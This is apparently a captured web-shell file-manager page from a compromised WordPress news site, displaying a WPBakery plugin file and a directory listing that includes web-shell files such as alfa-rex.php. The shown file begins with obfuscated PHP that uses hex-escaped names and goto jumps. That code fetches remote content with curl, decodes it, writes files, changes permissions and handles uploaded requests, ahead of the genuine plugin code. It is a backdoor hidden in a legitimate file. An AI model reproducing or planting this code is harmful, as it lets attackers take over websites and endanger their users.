Server: news.mantaraham.ir
Current directory: /home/mantaraham/public_html/news/wp-content/plugins/js_composer/include/autoload
Software: LiteSpeed
Shell Command
Create a new file
Upload file
File: class-vc-settings-presets.php
$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> 'vc_settings_preset', 'post_mime_type' => self::constructShortcodeMimeType( $shortcode_name ), 'posts_per_page' => - 1, 'meta_key' => '_vc_default', 'meta_value' => true, ); $posts = get_posts( $args ); if ( $posts ) { $default_id = $posts[0]->ID; } else { // check for vendor presets $default_id = vc_vendor_preset()->getDefaultId( $shortcode_name ); } return $default_id; } /** * Set existing preset as default * * If this is vendor preset, clone it and set new one as default * * @param int $id If falsy, no default will be set * @param string $shortcode_name * * @return boolean * * @since 4.7 */ public static function setAsDefaultSettingsPreset( $id, $shortcode_name ) { $post_id = self::getDefaultSettingsPresetId( $shortcode_name ); if ( $post_id ) { delete_post_meta( $post_id, '_vc_default' ); } if ( $id ) { if ( is_numeric( $id ) ) { // user preset update_post_meta( $id, '_vc_default', true ); } else { // vendor preset $preset = vc_vendor_preset()->get( $id ); if ( ! $preset || $shortcode_name !== $preset['shortcode'] ) { return false; } self::saveSettingsPreset( $preset['shortcode'], $preset['title'], json_encode( $preset['params'] ), true ); } } return true; } /** * Get mime type for specific shortcode * * @since 4.7 * * @param $shortcode_name * * @return string */ public static function constructShortcodeMimeType( $shortcode_name ) { return 'vc-settings-preset/' . str_replace( '_', '-', $shortcode_name ); } /** * Get shortcode name from post's mime type * * @since 4.7 * * @param string $post_mime_type * * @return string */ public static function extractShortcodeMimeType( $post_mime_type ) { $chunks = explode( '/', $post_mime_type ); if ( 2 !== count( $chunks ) ) { return ''; } return str_replace( '-', '_', $chunks[1] ); } /** * Get all presets * * @since 5.2 * * @return array E.g. array(preset_id => value, preset_id => value, ...) */ public static function listAllPresets() { $list = array(); $args = array( 'post_type' => 'vc_settings_preset', 'posts_per_page' => - 1, ); // user presets $posts = get_posts( $args ); foreach ( $posts as $post ) { $shortcode_name = self::extractShortcodeMimeType( $post->post_mime_type ); $list[ $post->ID ] = (array) json_decode( $post->post_content ); } // vendor presets $presets = self::listDefaultVendorSettingsPresets(); foreach ( $presets as $shortcode => $params ) { if ( ! isset( $list[ $shortcode ] ) ) { $list[ $shortcode ] = $params; } } return $list; } /** * Get all default presets * * @since 4.7 * * @return array E.g. array(shortcode_name => value, shortcode_name => value, ...) */ public static function listDefaultSettingsPresets() { $list = array(); $args = array( 'post_type' => 'vc_settings_preset', 'posts_per_page' => - 1, 'meta_key' => '_vc_default', 'meta_value' => true, ); // user presets $posts = get_posts( $args ); foreach ( $posts as $post ) { $shortcode_name = self::extractShortcodeMimeType( $post->post_mime_type ); $list[ $shortcode_name ] = (array) json_decode( $post->post_content ); } // vendor presets $presets = self::listDefaultVendorSettingsPresets(); foreach ( $presets as $shortcode => $params ) { if ( ! isset( $list[ $shortcode ] ) ) { $list[ $shortcode ] = $params; } } return $list; } /** * Get all default vendor presets * * @since 4.8 * * @return array E.g. array(shortcode_name => value, shortcode_name => value, ...) */ public static function listDefaultVendorSettingsPresets() { $list = array(); $presets = vc_vendor_preset()->getDefaults(); foreach ( $presets as $id => $preset ) { $list[ $preset['shortcode'] ] = $preset['params']; } return $list; } /** * Save shortcode preset * * @since 4.7 * * @param string $shortcode_name * @param string $title * @param string $content * @param boolean $is_default * * @return mixed int|false Post ID */ public static function saveSettingsPreset( $shortcode_name, $title, $content, $is_default = false ) { $post_id = wp_insert_post( array( 'post_title' => $title, 'post_content' => $content, 'post_status' => 'publish', 'post_type' => 'vc_settings_preset', 'post_mime_type' => self::constructShortcodeMimeType( $shortcode_name ), ), false ); if ( $post_id && $is_default ) { self::setAsDefaultSettingsPreset( $post_id, $shortcode_name ); } return $post_id; } /** * Get list of all presets for specific shortcode * * @since 4.7 * * @param string $shortcode_name * * @return array E.g. array(id1 => title1, id2 => title2, ...) */ public static function listSettingsPresets( $shortcode_name = null ) { $list = array(); if ( ! $shortcode_name ) { return $list; } $args = array( 'post_type' => 'vc_settings_preset', 'orderby' => array( 'post_date' => 'DESC' ), 'posts_per_page' => - 1, 'post_mime_type' => self::constructShortcodeMimeType( $shortcode_name ), ); $posts = get_posts( $args ); foreach ( $posts as $post ) { $list[ $post->ID ] = $post->post_title; } return $list; } /** * Get list of all vendor presets for specific shortcode * * @since 4.8 * * @param string $shortcode_name * * @return array E.g. array(id1 => title1, id2 => title2, ...) */ public static function listVendorSettingsPresets( $shortcode_name = null ) { $list = array(); if ( ! $shortcode_name ) { return $list; } $presets = vc_vendor_preset()->getAll( $shortcode_name ); foreach ( $presets as $id => $preset ) { $list[ $id ] = $preset['title']; } return $list; } /** * Get specific shortcode preset * * @since 4.7 * * @param mixed $id Can be int (user preset) or string (vendor preset) * @param bool $array If true, return array instead of string * * @return mixed string?array Post content */ public static function getSettingsPreset( $id, $array = false ) { if ( is_numeric( $id ) ) { // user preset $post = get_post( $id ); if ( ! $post ) { return false; } $params = $array ? (array) json_decode( $post->post_content ) : $post->post_content; } else { // vendor preset $preset = vc_vendor_preset()->get( $id ); if ( ! $preset ) { return false; } $params = $preset['params']; } return $params; } /** * Delete shortcode preset * * @since 4.7 * * @param int $post_id Post must be of type 'vc_settings_preset' * * @return bool */ public static function deleteSettingsPreset( $post_id ) { $post = get_post( $post_id ); if ( ! $post || 'vc_settings_preset' !== $post->post_type ) { return false; } return (bool) wp_delete_post( $post_id, true ); } /** * Return rendered popup menu * * @since 4.7 * * @param string $shortcode_name * * @return string */ public static function getRenderedSettingsPresetPopup( $shortcode_name ) { $list_vendor_presets = self::listVendorSettingsPresets( $shortcode_name ); $list_presets = self::listSettingsPresets( $shortcode_name ); $default_id = self::getDefaultSettingsPresetId( $shortcode_name ); if ( ! $default_id ) { $default_id = vc_vendor_preset()->getDefaultId( $shortcode_name ); } ob_start(); vc_include_template( apply_filters( 'vc_render_settings_preset_popup', 'editors/partials/settings_presets_popup.tpl.php' ), array( 'list_presets' => array( $list_presets, $list_vendor_presets, ), 'default_id' => $default_id, 'shortcode_name' => $shortcode_name, ) ); $html = ob_get_clean(); return $html; } /** * @param $shortcodes * * @return array */ public static function addVcPresetsToShortcodes( $shortcodes ) { if ( vc_user_access()->part( 'presets' )->can()->get() ) { $shortcodesAndPresets = array(); foreach ( $shortcodes as $shortcode ) { $presets = self::listSettingsPresets( $shortcode['base'] ); $shortcodesAndPresets[ $shortcode['base'] ] = $shortcode; if ( ! empty( $presets ) ) { foreach ( $presets as $presetId => $preset ) { $params = self::getSettingsPreset( $presetId ); $shortcodesAndPresets[ $presetId ] = array( 'name' => $preset, 'base' => $shortcode['base'], 'description' => $shortcode['description'], 'presetId' => $presetId, '_category_ids' => array( '_my_elements_' ), ); if ( isset( $shortcode['icon'] ) ) { $shortcodesAndPresets[ $presetId ]['icon'] = $shortcode['icon']; } } } } return $shortcodesAndPresets; } return $shortcodes; } /** * @param $category * * @return array */ public static function addPresetCategory( $category ) { $presetCategory = (array) '_my_elements_'; $category = $presetCategory + $category; return $category; } }
.
24 Items
Change directory
Remove directory
Rename directory
..
13 Items
Change directory
Remove directory
Rename directory
about.php
20.05 KB
Edit
Delete
Copy
Move
Remame
about.php7
20.05 KB
Edit
Delete
Copy
Move
Remame
alfa-rex.php
20.05 KB
Edit
Delete
Copy
Move
Remame
alfa-rex.php56
4.05 KB
Edit
Delete
Copy
Move
Remame
alfa-rex.php7
20.05 KB
Edit
Delete
Copy
Move
Remame
alfa-rex.php8
20.05 KB
Edit
Delete
Copy
Move
Remame
bc-access-rules-4.8.php
21.5 KB
Edit
Delete
Copy
Move
Remame
class-vc-settings-presets.php
25.25 KB
Edit
Delete
Copy
Move
Remame
class-vc-vendor-presets.php
18.63 KB
Edit
Delete
Copy
Move
Remame
components.json
1.99 KB
Edit
Delete
Copy
Move
Remame
error_log
0.73 KB
Edit
Delete
Copy
Move
Remame
frontend-editor-ie.php
16.46 KB
Edit
Delete
Copy
Move
Remame
hook-vc-grid.php
25.12 KB
Edit
Delete
Copy
Move
Remame
hook-vc-iconpicker-param.php
20.2 KB
Edit
Delete
Copy
Move
Remame
hook-vc-message.php
16.66 KB
Edit
Delete
Copy
Move
Remame
hook-vc-progress-bar.php
16.82 KB
Edit
Delete
Copy
Move
Remame
params
9 Items
Change directory
Remove directory
Rename directory
vc-grid-item-editor.php
25.43 KB
Edit
Delete
Copy
Move
Remame
vc-image-filters.php
24.89 KB
Edit
Delete
Copy
Move
Remame
vc-pages
11 Items
Change directory
Remove directory
Rename directory
vc-pointers-backend-editor.php
16 KB
Edit
Delete
Copy
Move
Remame
vc-settings-presets.php
23.07 KB
Edit
Delete
Copy
Move
Remame
vendors
22 Items
Change directory
Remove directory
Rename directory
wp-login.php
20.05 KB
Edit
Delete
Copy
Move
Remame